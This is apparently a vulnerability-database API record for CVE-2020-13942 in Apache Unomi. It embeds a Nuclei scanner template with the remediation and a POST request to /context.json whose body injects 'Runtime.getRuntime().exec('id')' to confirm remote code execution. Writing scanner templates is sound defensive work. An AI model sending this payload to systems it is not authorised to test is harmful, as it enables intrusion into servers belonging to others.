{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-13942/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-13942/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-13942/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-13942/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-13942/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-13942"},"sightings":{"href":"/api/v1/sightings/cve-2020-13942"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-13942.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-13942\n\ninfo:\n  name: Apache Unomi <1.5.2 - Remote Code Execution\n  author: dwisiswant0\n  severity: critical\n  description: |\n    Apache Unomi allows conditions to use OGNL and MVEL scripting which\n    offers the possibility to call static Java classes from the JDK\n    that could execute code with the permission level of the running Java process.\n    This vulnerability affects all versions of Apache Unomi prior to 1.5.2.\n  impact: |\n    Successful exploitation of this vulnerability can allow an attacker to execute arbitrary code on the affected server.\n  remediation: Apache Unomi users should upgrade to 1.5.2 or later.\n  reference:\n    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/\n    - https://twitter.com/chybeta/status/1328912309440311297\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-13942\n    - http://unomi.apache.org./security/cve-2020-13942.txt\n    - https://lists.apache.org/thread.html/r4a8fa91836687eaca42b5420a778ca8c8fd3a3740e4cf4401acc9118@%3Cusers.unomi.apache.org%3E\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-13942\n    cwe-id: CWE-74,CWE-20\n    epss-score: 0.68398\n    epss-percentile: 0.99301\n    cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apache\n    product: unomi\n  tags: cve,cve2020,apache,rce,vkev,vuln\nvariables:\n  id: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/context.json\"\n\n    body: |\n      {\n        \"filters\": [\n          {\n            \"id\": \"{{id}}\",\n            \"filters\": [\n              {\n                \"condition\": {\n                  \"parameterValues\": {\n                    \"nuclei\": \"script::Runtime.getRuntime().exec('id')\"\n                  },\n                  \"type\": \"profilePropertyCondition\"\n                }\n              }\n            ]\n          }\n        ],\n        \"sessionId\": \"nuclei\"\n      }\n\n    headers:\n      Content-Type: \"application/json\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n          - \"context-profile-id\"\n        condition: and\n\n      - type: regex\n        part: body\n        regex:\n          - \"(profile|session)(Id|Properties|Segments)\"\n          - \"[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100d28f486808c5756d2aa3618f3773644f42645b3e752be8937c3b31e4ae8003ff022100eff0e7b1ab459334c087bf81fe5428b4b12a14fcee417b2d363b5d532fcd74ee:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-13942"}